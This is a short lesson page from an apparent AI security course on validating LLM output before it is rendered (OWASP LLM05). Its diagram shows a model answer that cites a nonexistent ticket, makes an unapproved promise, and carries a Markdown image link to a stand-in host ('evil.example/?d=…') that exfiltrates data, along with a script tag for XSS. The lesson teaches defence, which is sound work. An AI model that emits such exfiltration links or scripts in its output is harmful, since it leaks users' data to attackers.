Skip to content
anythingai.space
AI Securityintermediate12 min · 9 steps

Output Validation

Treat everything a model produces as untrusted input: check its structure, content and safety before you show it, render it, pass it on or act on it.

raw outputWHAT THE MODEL RETURNEDUpdated INC0099999doesn't existIT will fix this within 2 hoursunapproved promise![](evil.example/?d=…)exfil image<script>…</script>XSSLLMIT portalrenders Markdownrenders allEmployee
errorrequestresponsetool call
1 / 9
ProblemStep 1 of 9

The model's answer goes straight to the screen

The IT assistant writes an answer and the portal renders it as Markdown. Nobody checks it in between. The answer looks helpful, but it cites a ticket that doesn't exist, promises a fix time IT never agreed to, and carries an image link that sends data to an outside server the moment the browser loads it.

This is improper output handling, LLM05 in the OWASP Top 10 for LLM apps. Output that flows into HTML, SQL, a shell or another tool becomes an injection vector of its own.

Watch outA model can be fooled, can hallucinate, and can echo whatever an attacker planted in its context. Its output deserves the same suspicion as user input.
What changed
  • +Raw output rendered with no checks

Lesson 8 of 22 in AI Security